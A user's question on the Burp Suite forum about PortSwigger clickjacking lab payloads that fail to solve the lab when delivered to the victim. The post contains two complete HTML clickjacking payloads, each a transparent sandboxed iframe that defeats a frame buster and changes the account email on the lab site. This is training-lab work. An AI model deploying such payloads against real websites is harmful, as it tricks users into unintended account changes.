The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Clickjacking Labs First 3 Lab Not Solved Problem

Bora | Last updated: Jul 11, 2024 01:54PM UTC

Even tough my payload is working on view exploit when I try to deliver it to victim it never solves the lab. Yes, I change the email before I deliver to victim. Check this Payload for Lab: Clickjacking with a frame buster script <style> iframe { position:relative; width: 700px; height: 500px; opacity: 0.0001; z-index: 2; } div { position:absolute; top: 450px; left: 80px; z-index: 1; } </style> <div>Test me</div> <iframe sandbox="allow-forms" src="https://0a4300890394e01281fe617500a20043.web-security-academy.net/my-account?email=hackerc@gmail.com"></iframe> I also tried this which didn't work: <head> <style> iframe{ position:relative; width:700px; height:600px; opacity:0.0001; z-index:2; } div { position:absolute; z-index:1; top:450px; left:50px; } </style> </head> <body> <div>Click me</div> <iframe sandbox="allow-forms" src="https://0a4300890394e01281fe617500a20043.web-security-academy.net/my-account?email=hacr@gmail.com"></iframe> </body>

Ben, PortSwigger Agent | Last updated: Jul 12, 2024 09:26AM UTC